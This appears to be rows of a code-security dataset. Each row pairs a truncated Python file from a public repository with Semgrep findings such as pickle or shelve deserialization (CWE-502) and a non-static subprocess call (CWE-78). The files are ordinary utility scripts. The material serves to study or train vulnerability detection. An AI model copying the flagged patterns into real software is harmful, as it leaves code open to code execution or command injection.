[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 5, 6, 7, 8, 9, 10 ]
[ 5, 6, 7, 8, 9, 10 ]
[ 10, 15, 11, 11, 12, 11 ]
[ 56, 67, 58, 58, 60, 58 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5, 5, 5, 5, 5 ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
rmsd_distances.py
/experiments/rmsd_distances.py
fusion-research/webots-thesis
MIT
2024-11-19T02:32:08.698714+00:00
1,423,112,675,000
37fd42ce3a239fa6c4a2fecd8c7654617b0ac4bd
3
{ "blob_id": "37fd42ce3a239fa6c4a2fecd8c7654617b0ac4bd", "branch_name": "refs/heads/master", "committer_date": 1423112675000, "content_id": "bf9611d15930c128dd663c0743639d54c2ef7480", "detected_licenses": [ "MIT" ], "directory_id": "c0aec347617818b110fe2bf49d3fff9d449993ef", "extension": "py", "fi...
2.703125
stackv2
# This file is only here to debug. Ultimately I merged the contents inline with # the archey bash script because calling another file while symlinking it # (my unique setup) became kind of onerous. # If there's a simple fix to that, I'll gladly take it. Until then, sorry :( import subprocess,re # standard stuff impo...
18
45.83
92
12
235
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_1b5deaa23e2b5804_374c8814", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess ...
4
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 10 ]
[ 10 ]
[ 10 ]
[ 66 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
diskstats.py
/bin/diskstats.py
alialkhatib/archey-osx
MIT
2024-11-19T02:32:17.818099+00:00
1,660,688,740,000
cb3710206cc830fab2728946adbbec9fc8e10b78
3
{ "blob_id": "cb3710206cc830fab2728946adbbec9fc8e10b78", "branch_name": "refs/heads/master", "committer_date": 1660688740000, "content_id": "84f78164083b8b21b5bf3ec824c2ee18ee9d31ca", "detected_licenses": [ "MIT" ], "directory_id": "7581b63c73bb3e267de7f9ef06480cb394b1c6b8", "extension": "py", "fi...
2.78125
stackv2
import re import os import gzip import multiprocessing import argparse import logging import shelve import pandas as pd from utils import timeit logging.basicConfig( level=logging.DEBUG, format='%(asctime)s|%(levelname)s|%(message)s') def parse_args(): parser = argparse.ArgumentParser( description=...
280
35.41
131
18
2,525
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_6958e4b3e5885a5b_15426c06", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `cols` in `df` is...
2
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-shelve" ]
[ "security" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 258 ]
[ 258 ]
[ 9 ]
[ 49 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
ncbitax2lin.py
/ncbitax2lin.py
chanzuckerberg/ncbitax2lin
MIT